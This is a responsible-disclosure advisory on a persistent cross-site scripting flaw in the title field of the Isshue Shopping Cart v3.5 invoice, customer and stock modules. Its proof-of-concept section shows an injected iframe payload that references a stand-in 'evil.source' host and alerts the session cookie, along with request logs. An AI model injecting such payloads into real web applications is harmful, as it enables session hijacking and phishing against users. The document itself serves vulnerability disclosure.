Document Title:  
Isshue Shopping Cart v3.5 - Cross Site Web Vulnerability  
References (Source):  
Release Date:  
Vulnerability Laboratory ID (VL-ID):  
Common Vulnerability Scoring System:  
Vulnerability Class:  
Cross Site Scripting - Persistent  
Current Estimated Price:  
500€ - 1.000€  
Product & Service Introduction:  
Multi-store eCommerce shopping cart software is the complete solution for eCommerce business management. It is all in one package for website management  
with backend admin panel to manage inventory, order, product, invoicing & so on. No need regular monthly subscription fee, get it through one-time payment now.  
Your eCommerce business frequently changes with the times. All you need is a system that will make your work easier and time-saving. You need the best  
eCommerce shopping cart software which is flexible, upgradable, affordable. Isshue is a completely secure and fast eCommerce POS system for eCommerce  
solutions. Isshue is the best choice for any type of e-commerce business, big or small.  
(Copy of the Homepage: )  
Abstract Advisory Information:  
The vulnerability laboratory core research team discovered a persistent validation vulnerability in the Isshue eCommerce Shopping Cart v3.5 web-application.  
Affected Product(s):  
Product: Isshue Shopping Cart v3.5 - eCommerce (Web-Application)  
Vulnerability Disclosure Timeline:  
2021-08-23: Researcher Notification & Coordination (Security Researcher)  
2021-08-24: Vendor Notification (Security Department)  
2021-**-**: Vendor Response/Feedback (Security Department)  
2021-**-**: Vendor Fix/Patch (Service Developer Team)  
2021-**-**: Security Acknowledgements (Security Department)  
2021-10-22: Public Disclosure (Vulnerability Laboratory)  
Discovery Status:  
Exploitation Technique:  
Severity Level:  
Authentication Type:  
Restricted Authentication (Moderator Privileges)  
User Interaction:  
Medium User Interaction  
Disclosure Type:  
Responsible Disclosure  
Technical Details & Description:  
A persistent input validation web vulnerability has been discovered in the official Isshue eCommerce Shopping Cart v3.5 web-application.  
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to  
web-application requests from the application-side.  
A input validation web vulnerability has been discovered in the title input fields in `new invoice`, `customer` & `stock` modules.  
The `title` input and parameter allows to inject own malicious script code with persistent attack vector. The content of the input  
and parameter is insecure validated, thus allows remote attackers with privileged user accounts (manager/keeper/admin) to inject  
own malformed script code that executes on preview. The request method to inject is post and the attack vector is persistent on  
the application-side.  
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects  
to malicious source and persistent manipulation of affected application modules.  
Request Method(s):  
[+] POST  
Vulnerable Module(s):  
[+] Edit Title  
Vulnerable Input(s):  
[+] Title  
Vulnerable Parameter(s):  
[+] title  
Affected Module(s):  
[+] stock  
[+] customer  
[+] invoice  
Proof of Concept (PoC):  
The persistent input validation web vulnerability can be exploited by remote attackers with keeper account and with low user interaction.  
For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue.  
Vulnerable Source:  
<div class="row">  
<div class="col-sm-12 lobipanel-parent-sortable ui-sortable" data-lobipanel-child-inner-id="azO1Fsrq9M">  
<div class="panel panel-bd lobidrag lobipanel lobipanel-sortable" data-inner-id="azO1Fsrq9M" data-index="0">  
<div class="panel-heading ui-sortable-handle">  
<div class="panel-title" style="max-width: calc(100% - 180px);">"[MALICIOUS INJECTED SCRIPT CODE!]<iframe src="evil.source" onload="alert(document.cookie)"></iframe></div>  
<div class="dropdown"><ul class="dropdown-menu dropdown-menu-right"><li><a data-func="editTitle" data-tooltip="Edit title"  
data-toggle="tooltip" data-title="Edit title" data-placement="bottom" data-original-title="" title=""><i class="panel-control-icon ti-pencil"></i>  
<span class="control-title">Edit title</span></a></li><li>  
<a data-func="unpin" data-tooltip="Unpin" data-toggle="tooltip" data-title="Unpin" data-placement="bottom" data-original-title="" title="">  
<i class="panel-control-icon ti-move"></i><span class="control-title">Unpin</span></a></li><li>  
<a data-func="reload" data-tooltip="Reload" data-toggle="tooltip" data-title="Reload" data-placement="bottom" data-original-title="" title="">  
<i class="panel-control-icon ti-reload"></i><span class="control-title">Reload</span></a></li><li>  
<a data-func="minimize" data-tooltip="Minimize" data-toggle="tooltip" data-title="Minimize" data-placement="bottom" data-original-title="" title="">  
<i class="panel-control-icon ti-minus"></i><span class="control-title">Minimize</span></a></li><li><a data-func="expand"  
data-tooltip="Fullscreen" data-toggle="tooltip" data-title="Fullscreen" data-placement="bottom" data-original-title="" title="">  
<i class="panel-control-icon ti-fullscreen"></i><span class="control-title">Fullscreen</span></a></li><li>  
<a data-func="close" data-tooltip="Close" data-toggle="tooltip" data-title="Close" data-placement="bottom" data-original-title="" title="">  
<i class="panel-control-icon ti-close"></i><span class="control-title">Close</span></a></li></ul>  
<div class="dropdown-toggle" data-toggle="dropdown"><span class="panel-control-icon glyphicon glyphicon-cog"></span></div></div></div>  
<form action="" class="form-vertical" id="validate" name="insert_invoice" enctype="multipart/form-data" method="post" accept-charset="utf-8" novalidate="novalidate">  
<div class="panel-body">  
<div class="row">  
<div class="col-sm-8" id="payment_from_1">  
<div class="form-group row">  
<label for="customer_name" class="col-sm-3 col-form-label">Customer Name <i class="text-danger">*</i></label>  
<div class="col-sm-6">  
<input type="text" size="100" value="a as" name="customer_name" class="customerSelection form-control ui-autocomplete-input" placeholder="Customer Name" id="customer_name" autocomplete="off">  
<input id="SchoolHiddenId" value="HW77BA6CZEJXCV8" class="customer_hidden_value" type="hidden" name="customer_id">  
--- PoC Session Logs (GET) [Execute] ---  
Host: isshue.localhost:8080  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Connection: keep-alive  
Referer: https://isshue.localhost:8080/isshue/dashboard/Store_invoice/new_invoice  
Cookie: ci_session=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de-  
GET: HTTP/2.0 200 OK  
content-type: text/html; charset=UTF-8  
vary: Accept-Encoding  
set-cookie: cookie=f16fc8ac874d2fbefd4f1bc818e9361e563a9535; bm=29207327be4562a93104e7c7c2e62fe74d7d12de-  
1629733189-1800-AStEmjkeD30sgtw0bgFOcvlrw7KiV79iVZGn+JuZ0bDjD7g99V69gfssqh4LvIWof7tjzmwNEeHHbVZcMib7hnkgJULvefbayRn8vBdfB73nFdoUChp8uXuiRxDu17LDBA==; GMT; Max-Age=7200; path=/  
Security Risk:  
The security risk of the persistent input validation web vulnerability in the shopping cart web-application is estimated as medium.  
Credits & Authors:  
Vulnerability-Lab [Research Team] -  
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